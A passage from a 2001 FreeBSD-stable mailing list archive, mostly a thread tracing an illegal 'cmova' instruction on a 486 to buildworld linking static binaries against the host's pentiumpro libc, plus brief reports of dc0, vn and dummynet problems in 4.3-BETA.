Rosenman [010312 05:53]: >> * Kris Kennaway [010312 02:35]: >> > On Mon, Mar 12, 2001 at 02:31:35AM -0600, Mike Pritchard wrote: >> > >> > > Somewhat. I have a box that has one of those overdrive chips in it, but >> > > it still claims to be a 486-class machine. It runs current, however, >> > > and >> > > not stable. Actually, I have two of those machines. One is running a >> > > 12 hour old -current. The other is running a 4.0-current from 10/24/99. >> > > >> > > I'll try upgrading the oldest machine to -stable and doing a "make >> > > world" >> > > and see what happens. This may take most of the week, since a make >> > > world >> > > takes forever on one these machines, and my free time to check up on >> > > this is >> > > very limited. If anyone else has a true 486 running -stable and wants >> > > to follow up on this, feel free. >> > >> > Okay - whatever you can do to check. Thanks. >> I last built the 486 on 2/18/2001, if that helps narrow down >> what commit(s) broke it. >> >> Larry > > Here is a gdb of strip starting. I suspect the cmova is an illegal > 486 instruction ... > Cut from below: > 0x804fd7a : cmova 0x8(%ebp),%eax It is, it's only on pentium-pro's and later. Were any of the libraries or compilers, etc. compiled with a bogus CPUTYPE? I'm pretty sure isatty is in one of the libraries, libc even. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 10:22:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 5284F37B718; Mon, 12 Mar 2001 10:22:19 -0800 (PST) (envelope-from ler@lerctr.org) Received: from ler-freebie.iadfw.net (ler-freebie.iadfw.net [206.66.13.221]) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) with SMTP id f2CIMDI24036; Mon, 12 Mar 2001 12:22:13 -0600 (CST) (envelope-from ler@lerctr.org) From: Larry Rosenman Date: Mon, 12 Mar 2001 18:22:13 GMT Message-ID: <20010312.18221300@ler-freebie.iadfw.net> Subject: Re: cputype=486 To: John Baldwin Cc: Larry Rosenman , qa@FreeBSD.ORG, stable@FreeBSD.ORG, Mike Pritchard , Kris Kennaway In-Reply-To: References: X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Not in the log I posted. isatty is NOT that large, so what ever this is= ,=20 is after isatty in the executable.=20 I wonder if something forgot to pick up the /usr/obj libraries, since th= e=20 HOST system *IS* compiled with -march=3Dpentiumpro.=20 This is valid, isn't it? (to compile on one box, and install on another = with DIFFERENT /etc/make.conf settings)?=20 >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 3/12/01, 12:12:39 PM, John Baldwin wrote regarding = Re:=20 cputype=3D486: > On 12-Mar-01 Larry Rosenman wrote: > > * Larry Rosenman [010312 05:53]: > >> * Kris Kennaway [010312 02:35]: > >> > On Mon, Mar 12, 2001 at 02:31:35AM -0600, Mike Pritchard wrote: > >> > > >> > > Somewhat. I have a box that has one of those overdrive chips i= n it, but > >> > > it still claims to be a 486-class machine. It runs current, ho= wever, > >> > > and > >> > > not stable. Actually, I have two of those machines. One is ru= nning a > >> > > 12 hour old -current. The other is running a 4.0-current from = 10/24/99. > >> > > > >> > > I'll try upgrading the oldest machine to -stable and doing a "m= ake > >> > > world" > >> > > and see what happens. This may take most of the week, since a = make > >> > > world > >> > > takes forever on one these machines, and my free time to check = up on > >> > > this is > >> > > very limited. If anyone else has a true 486 running -stable an= d wants > >> > > to follow up on this, feel free. > >> > > >> > Okay - whatever you can do to check. Thanks. > >> I last built the 486 on 2/18/2001, if that helps narrow down > >> what commit(s) broke it. > >> > >> Larry > > > > Here is a gdb of strip starting. I suspect the cmova is an illegal > > 486 instruction ... > > Cut from below: > > 0x804fd7a : cmova 0x8(%ebp),%eax > It is, it's only on pentium-pro's and later. Were any of the librarie= s=20 or > compilers, etc. compiled with a bogus CPUTYPE? I'm pretty sure isatty= is=20 in > one of the libraries, libc even. > -- > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 10:31:27 2001 Delivered-To: freebsd-stable@freebsd.org Received: from poontang.schulte.org (poontang.schulte.org [209.134.156.197]) by hub.freebsd.org (Postfix) with ESMTP id 0ED1B37B719 for ; Mon, 12 Mar 2001 10:31:23 -0800 (PST) (envelope-from christopher@schulte.org) Received: from laptop.schulte.org (nb-105.netbriefings.com [204.72.185.105]) by poontang.schulte.org (8.9.3/8.9.3) with ESMTP id MAA75142; Mon, 12 Mar 2001 12:31:19 -0600 (CST) (envelope-from christopher@schulte.org) Message-Id: <5.0.2.1.0.20010312122304.02ad89a8@pop.schulte.org> X-Sender: schulte@pop.schulte.org X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 12 Mar 2001 12:31:07 -0600 To: "Robert S. Wojciechowski Jr." , From: Christopher Schulte Subject: Re: Problem with 4.2-STABLE and dc0 Cc: "Todd Punderson" In-Reply-To: <16DC0F334516F5478EC60CADEDB6A68410D9C6@moe.wojo.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Linksys LNE100-TX here also. I've been running 4.3-BETA for about 2 weeks, with a few make worlds to date. My system exhibits the same behavior, aka tail of dmesg output right after reboot: ...normal boot messages... Mounting root from ufs:/dev/ad0s1a dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state dc0: failed to force tx and rx to idle state The message only appears when the system is rebooted; the box runs just fine and I don't see any more of that error until it's rebooted. I have not noticed any network related problems with dc[x] interfaces. At 05:27 AM 3/12/2001 -0500, Robert S. Wojciechowski Jr. wrote: >I am seeing the same message with dc0 on 4.3-BETA from 3/12 with a Linksys >LNE100-TX. > >Output from dmesg: > >... snip ... >twed0: on twe0 >twed0: 14654MB (30013168 sectors) >Mounting root from ufs:/dev/twed0s1a >IP Filter: already initialized >dc0: failed to force tx and rx to idle state >dc0: failed to force tx and rx to idle state > >It seems to work fine right now, but I haven't done any more testing on that >interface yet... > >--- >Robert S. Wojciechowski Jr. >robertw@wojo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 10:33:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id C631337B71A; Mon, 12 Mar 2001 10:33:31 -0800 (PST) (envelope-from jim@thehousleys.net) Received: (from root@localhost) by thehousleys.net (8.11.3/8.11.2) id f2CIX4i11558; Mon, 12 Mar 2001 13:33:04 -0500 (EST) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) (authenticated) by thehousleys.net (8.11.3/8.11.3) with ESMTP id f2CIX2D11550; Mon, 12 Mar 2001 13:33:02 -0500 (EST) (envelope-from jim@thehousleys.net) Message-ID: <3AAD165E.BCA9F265@thehousleys.net> Date: Mon, 12 Mar 2001 13:33:02 -0500 From: James Housley X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Larry Rosenman Cc: John Baldwin , qa@freebsd.org, stable@freebsd.org, Mike Pritchard , Kris Kennaway Subject: Re: cputype=486 References: <20010312.18221300@ler-freebie.iadfw.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Larry Rosenman wrote: > > Not in the log I posted. isatty is NOT that large, so what ever this is, > is after isatty in the executable. > > I wonder if something forgot to pick up the /usr/obj libraries, since the > HOST system *IS* compiled with -march=pentiumpro. > > This is valid, isn't it? (to compile on one box, and install on another > with DIFFERENT /etc/make.conf settings)? > No, because that won't change how it was compiled. Everything is compiled for -march=pentiumpro. Jim -- /"\ ASCII Ribbon Campaign . \ / - NO HTML/RTF in e-mail . X - NO Word docs in e-mail . / \ ----------------------------------------------------------------- jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve jim@TheHousleys.Net http://www.TheHousleys.net --------------------------------------------------------------------- Unix is very user-friendly. It's just picky who its friends are. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 10:43:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id BB4A037B718; Mon, 12 Mar 2001 10:43:46 -0800 (PST) (envelope-from ler@lerctr.org) Received: from ler-freebie.iadfw.net (ler-freebie.iadfw.net [206.66.13.221]) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) with SMTP id f2CIhfI25166; Mon, 12 Mar 2001 12:43:41 -0600 (CST) (envelope-from ler@lerctr.org) From: Larry Rosenman Date: Mon, 12 Mar 2001 18:43:41 GMT Message-ID: <20010312.18434100@ler-freebie.iadfw.net> Subject: Re: cputype=486 To: James Housley Cc: Larry Rosenman , John Baldwin , qa@freebsd.org, stable@freebsd.org, Mike Pritchard , Kris Kennaway In-Reply-To: <3AAD165E.BCA9F265@thehousleys.net> References: <20010312.18221300@ler-freebie.iadfw.net> <3AAD165E.BCA9F265@thehousleys.net> X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Actually, I meant compile on a -march=3Dpentiumpro system with=20 /etc/make.conf set for CPUTYPE=3Di486 or no cputype. NOT using the /etc/make.conf with CPUTYPE=3Dp3 to BUILD the 486 code. This is valid, correct? the tool chain should NOT pick up the host=20 libraries at all right?=20 Larry=20 >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 3/12/01, 12:33:02 PM, James Housley wrote=20 regarding Re: cputype=3D486: > Larry Rosenman wrote: > > > > Not in the log I posted. isatty is NOT that large, so what ever thi= s is, > > is after isatty in the executable. > > > > I wonder if something forgot to pick up the /usr/obj libraries, sinc= e the > > HOST system *IS* compiled with -march=3Dpentiumpro. > > > > This is valid, isn't it? (to compile on one box, and install on anot= her > > with DIFFERENT /etc/make.conf settings)? > > > No, because that won't change how it was compiled. Everything is > compiled for -march=3Dpentiumpro. > Jim > -- > /"\ ASCII Ribbon Campaign . > \ / - NO HTML/RTF in e-mail . > X - NO Word docs in e-mail . > / \ ----------------------------------------------------------------- > jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve > jim@TheHousleys.Net http://www.TheHousleys.net > --------------------------------------------------------------------- > Unix is very user-friendly. It's just picky who its friends are. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 10:50:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id BEBB037B718; Mon, 12 Mar 2001 10:50:30 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f2CIoAA81577; Mon, 12 Mar 2001 10:50:10 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010312.18221300@ler-freebie.iadfw.net> Date: Mon, 12 Mar 2001 10:49:50 -0800 (PST) From: John Baldwin To: Larry Rosenman Subject: Re: cputype=486 Cc: Kris Kennaway , Mike Pritchard , stable@FreeBSD.org, qa@FreeBSD.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 12-Mar-01 Larry Rosenman wrote: > Not in the log I posted. isatty is NOT that large, so what ever this is, > is after isatty in the executable. *sigh* isatty() is in libc. That's the only place that that code comes from. It doesn't live in the executable's object files or source at all, so it has to be coming from some copy of libc. > I wonder if something forgot to pick up the /usr/obj libraries, since the > HOST system *IS* compiled with -march=pentiumpro. Now that could be. > This is valid, isn't it? (to compile on one box, and install on another > with DIFFERENT /etc/make.conf settings)? Well, as Jim pointed out, not really. This is why releases are built from scratch inside of a clean "white-room" chroot. Regardless, the libc in /usr/obj should be used when compiling static binaries during world. (Dynamic binaries should still need to make sure they use /usr/lib/libc.so for their rpath, though if we don't use rpath, I guess they could be linked against the libc.so in usr/obj as well, but a bintools/linker person (jdp/obrien) should be asked about that to be sure). -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 11: 0:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id E86A037B71F; Mon, 12 Mar 2001 11:00:22 -0800 (PST) (envelope-from ler@lerctr.org) Received: from ler-freebie.iadfw.net (ler-freebie.iadfw.net [206.66.13.221]) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) with SMTP id f2CJ0KI25861; Mon, 12 Mar 2001 13:00:21 -0600 (CST) (envelope-from ler@lerctr.org) From: Larry Rosenman Date: Mon, 12 Mar 2001 19:00:19 GMT Message-ID: <20010312.19001900@ler-freebie.iadfw.net> Subject: Re: cputype=486 To: John Baldwin Cc: Larry Rosenman , Kris Kennaway , Mike Pritchard , stable@FreeBSD.org, qa@FreeBSD.org In-Reply-To: References: X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG See my answer to Jim. I MEANT to compile with a HOST system that has=20 -march=3Dpentiumpro executables, and compile a new world with CPUTYPE=3D= i486=20 or=20 no CPUTYPE and expect the new code to run on the 486, correct method?=20 LER >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 3/12/01, 12:49:50 PM, John Baldwin wrote regarding = Re:=20 cputype=3D486: > On 12-Mar-01 Larry Rosenman wrote: > > Not in the log I posted. isatty is NOT that large, so what ever thi= s is, > > is after isatty in the executable. > *sigh* > isatty() is in libc. That's the only place that that code comes from.= > It doesn't live in the executable's object files or source at all, so > it has to be coming from some copy of libc. > > I wonder if something forgot to pick up the /usr/obj libraries, sinc= e the > > HOST system *IS* compiled with -march=3Dpentiumpro. > Now that could be. > > This is valid, isn't it? (to compile on one box, and install on anot= her > > with DIFFERENT /etc/make.conf settings)? > Well, as Jim pointed out, not really. This is why releases are built > from scratch inside of a clean "white-room" chroot. Regardless, the > libc in /usr/obj should be used when compiling static binaries during > world. (Dynamic binaries should still need to make sure they use > /usr/lib/libc.so for their rpath, though if we don't use rpath, I gues= s > they could be linked against the libc.so in usr/obj as well, but a > bintools/linker person (jdp/obrien) should be asked about that > to be sure). > -- > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 11:11: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id B7ADD37B718; Mon, 12 Mar 2001 11:10:56 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f2CJAhA82473; Mon, 12 Mar 2001 11:10:43 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010312.19001900@ler-freebie.iadfw.net> Date: Mon, 12 Mar 2001 11:10:23 -0800 (PST) From: John Baldwin To: Larry Rosenman Subject: Re: cputype=486 Cc: qa@FreeBSD.org, stable@FreeBSD.org, Mike Pritchard , Kris Kennaway Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 12-Mar-01 Larry Rosenman wrote: > > See my answer to Jim. I MEANT to compile with a HOST system that has > -march=pentiumpro executables, and compile a new world with CPUTYPE=i486 > or > no CPUTYPE and expect the new code to run on the 486, correct method? Yes. > LER > >>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > > On 3/12/01, 12:49:50 PM, John Baldwin wrote regarding Re: > cputype=486: > > >> On 12-Mar-01 Larry Rosenman wrote: >> > Not in the log I posted. isatty is NOT that large, so what ever this is, >> > is after isatty in the executable. > >> *sigh* > >> isatty() is in libc. That's the only place that that code comes from. >> It doesn't live in the executable's object files or source at all, so >> it has to be coming from some copy of libc. > >> > I wonder if something forgot to pick up the /usr/obj libraries, since the >> > HOST system *IS* compiled with -march=pentiumpro. > >> Now that could be. This is likely your bug as I expounded on below. Do you have a log of your 'make buildworld' available for HTTP or FTP somewhere? -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 11:11:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 8BD7D37B71B; Mon, 12 Mar 2001 11:11:05 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f2CJAgA82469; Mon, 12 Mar 2001 11:10:42 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010312.18434100@ler-freebie.iadfw.net> Date: Mon, 12 Mar 2001 11:10:22 -0800 (PST) From: John Baldwin To: Larry Rosenman Subject: Re: cputype=486 Cc: Kris Kennaway , Mike Pritchard , stable@FreeBSD.org, qa@FreeBSD.org, James Housley Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 12-Mar-01 Larry Rosenman wrote: > > Actually, I meant compile on a -march=pentiumpro system with > /etc/make.conf > set for CPUTYPE=i486 or no cputype. > > NOT using the /etc/make.conf with CPUTYPE=p3 to BUILD the 486 code. > > This is valid, correct? the tool chain should NOT pick up the host > libraries at all right? That should work, yes. > Larry >>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > > On 3/12/01, 12:33:02 PM, James Housley wrote > regarding Re: cputype=486: > > >> Larry Rosenman wrote: >> > >> > Not in the log I posted. isatty is NOT that large, so what ever this is, >> > is after isatty in the executable. >> > >> > I wonder if something forgot to pick up the /usr/obj libraries, since the >> > HOST system *IS* compiled with -march=pentiumpro. >> > >> > This is valid, isn't it? (to compile on one box, and install on another >> > with DIFFERENT /etc/make.conf settings)? >> > > >> No, because that won't change how it was compiled. Everything is >> compiled for -march=pentiumpro. > >> Jim >> -- >> /"\ ASCII Ribbon Campaign . >> \ / - NO HTML/RTF in e-mail . >> X - NO Word docs in e-mail . >> / \ ----------------------------------------------------------------- >> jeh@FreeBSD.org http://www.FreeBSD.org The Power to Serve >> jim@TheHousleys.Net http://www.TheHousleys.net >> --------------------------------------------------------------------- >> Unix is very user-friendly. It's just picky who its friends are. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 11:23:16 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 6F01F37B719; Mon, 12 Mar 2001 11:23:08 -0800 (PST) (envelope-from ler@lerctr.org) Received: from ler-freebie.iadfw.net (ler-freebie.iadfw.net [206.66.13.221]) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) with SMTP id f2CJN5I27039; Mon, 12 Mar 2001 13:23:05 -0600 (CST) (envelope-from ler@lerctr.org) From: Larry Rosenman Date: Mon, 12 Mar 2001 19:23:05 GMT Message-ID: <20010312.19230500@ler-freebie.iadfw.net> Subject: Re: cputype=486 To: John Baldwin Cc: Larry Rosenman , qa@FreeBSD.org, stable@FreeBSD.org, Mike Pritchard , Kris Kennaway In-Reply-To: References: X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ftp://ftp.lerctr.org/freebsd/makeworld-fw.out.gz Enjoy. LER >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 3/12/01, 1:10:23 PM, John Baldwin wrote regarding R= e:=20 cputype=3D486: > On 12-Mar-01 Larry Rosenman wrote: > > > > See my answer to Jim. I MEANT to compile with a HOST system that ha= s > > -march=3Dpentiumpro executables, and compile a new world with CPUTYP= E=3Di486 > > or > > no CPUTYPE and expect the new code to run on the 486, correct method= ? > Yes. > > LER > > > >>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< > > > > On 3/12/01, 12:49:50 PM, John Baldwin wrote regard= ing Re: > > cputype=3D486: > > > > > >> On 12-Mar-01 Larry Rosenman wrote: > >> > Not in the log I posted. isatty is NOT that large, so what ever = this=20 is, > >> > is after isatty in the executable. > > > >> *sigh* > > > >> isatty() is in libc. That's the only place that that code comes fr= om. > >> It doesn't live in the executable's object files or source at all, = so > >> it has to be coming from some copy of libc. > > > >> > I wonder if something forgot to pick up the /usr/obj libraries, s= ince=20 the > >> > HOST system *IS* compiled with -march=3Dpentiumpro. > > > >> Now that could be. > This is likely your bug as I expounded on below. Do you have a log of= =20 your > 'make buildworld' available for HTTP or FTP somewhere? > -- > John Baldwin -- http://www.FreeBSD.org/~jhb/ > PGP Key: http://www.baldwin.cx/~john/pgpkey.asc > "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 11:43:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id CBCDD37B718; Mon, 12 Mar 2001 11:43:47 -0800 (PST) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f2CJhgA84062; Mon, 12 Mar 2001 11:43:42 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20010312.19230500@ler-freebie.iadfw.net> Date: Mon, 12 Mar 2001 11:43:23 -0800 (PST) From: John Baldwin To: marcel@FreeBSD.org Subject: Re: cputype=486 Cc: qa@FreeBSD.org, Larry Rosenman Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ cc's trimmed to sane level, followups to -qa please ] On 12-Mar-01 Larry Rosenman wrote: > > ftp://ftp.lerctr.org/freebsd/makeworld-fw.out.gz > > Enjoy. It looks like strip is linked against /usr/lib/libc.a. Marcel, It looks like there may be a bug in buildworld. It seems that static binaries are being linked against /usr/lib/libc.a rather than /usr/obj/usr/src/i386/lib/libc/libc.a. I don't see how cross built worlds across architectures could work if this is so. In the case described, the host machine was built with -march=pentiumpro, and world was built w/o this flag because it was intended to be installed on a 486. However, the strip binary was linked against the -march=pentiumpro /usr/lib/libc.a during the build rather than /usr/obj/usr/src/i386/lib/libc/libc.a. Shouldn't we be using -nostdlib and some other hacks to work around this in world for static binaries? In theory, dynamic binaries should be linked against the library in /usr/obj except that that might screw up the ELF rpath if we use rpath. Comments? -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 12: 0:27 2001 Delivered-To: freebsd-stable@freebsd.org Received: from axis.tdd.lt (axis.tdd.lt [193.219.211.5]) by hub.freebsd.org (Postfix) with ESMTP id 2669037B718 for ; Mon, 12 Mar 2001 12:00:17 -0800 (PST) (envelope-from midom@delfi.lt) Received: from localhost (midom@localhost) by axis.tdd.lt (8.11.1/8.11.1) with ESMTP id f2CJtRb80586 for ; Mon, 12 Mar 2001 21:55:27 +0200 (EET) Date: Mon, 12 Mar 2001 21:55:27 +0200 (EET) From: Domas Mituzas X-Sender: midom@axis.tdd.lt To: stable@freebsd.org Subject: reminder about vn code Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello guys, I posted a little bit earlier report about vn code instability. Today vn code was still causing panics (for example - even mounting vn device, or using disklabel to label it, caused my box to reboot). Regards, Domas midom at delfi.lt and lt.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 12:28:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id B342637B71A; Mon, 12 Mar 2001 12:28:12 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2CKR2H16433; Mon, 12 Mar 2001 12:27:02 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: freebsd@gndrsh.dnsmgr.net Cc: stable@FreeBSD.ORG, developers@FreeBSD.ORG Subject: Re: 4.3-BETA available for FTP In-Reply-To: <200103081909.LAA26316@gndrsh.dnsmgr.net> References: <20010308005359P.jkh@osd.bsdi.com> <200103081909.LAA26316@gndrsh.dnsmgr.net> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010312122701I.jkh@osd.bsdi.com> Date: Mon, 12 Mar 2001 12:27:01 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 11 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: "Rodney W. Grimes" Subject: Re: 4.3-BETA available for FTP Date: Thu, 8 Mar 2001 11:09:16 -0800 (PST) > It already appears as if dummynet has been broken in 4.3 and is > causing panics. At least 3 reports I have seen so far of people > who have had to disable DUMMYNET. It appears that this has already been fixed. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Mar 12 12:30:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from info.iet.unipi.it (info.iet.unipi.it [131.114.9.184]) by hub.freebsd.org (Postfix) with ESMTP id D844437B718; Mon, 12 Mar 2001 12:30:04 -0800 (PST) (envelope-from luigi@info.iet.unipi.it) Received: (from luigi@localhost) by info.iet.unipi.it (8.9.3/8.9.3) id VAA94263; Mon, 12 Mar 2001 21:30:17 +0100 (CET) (envelope-from 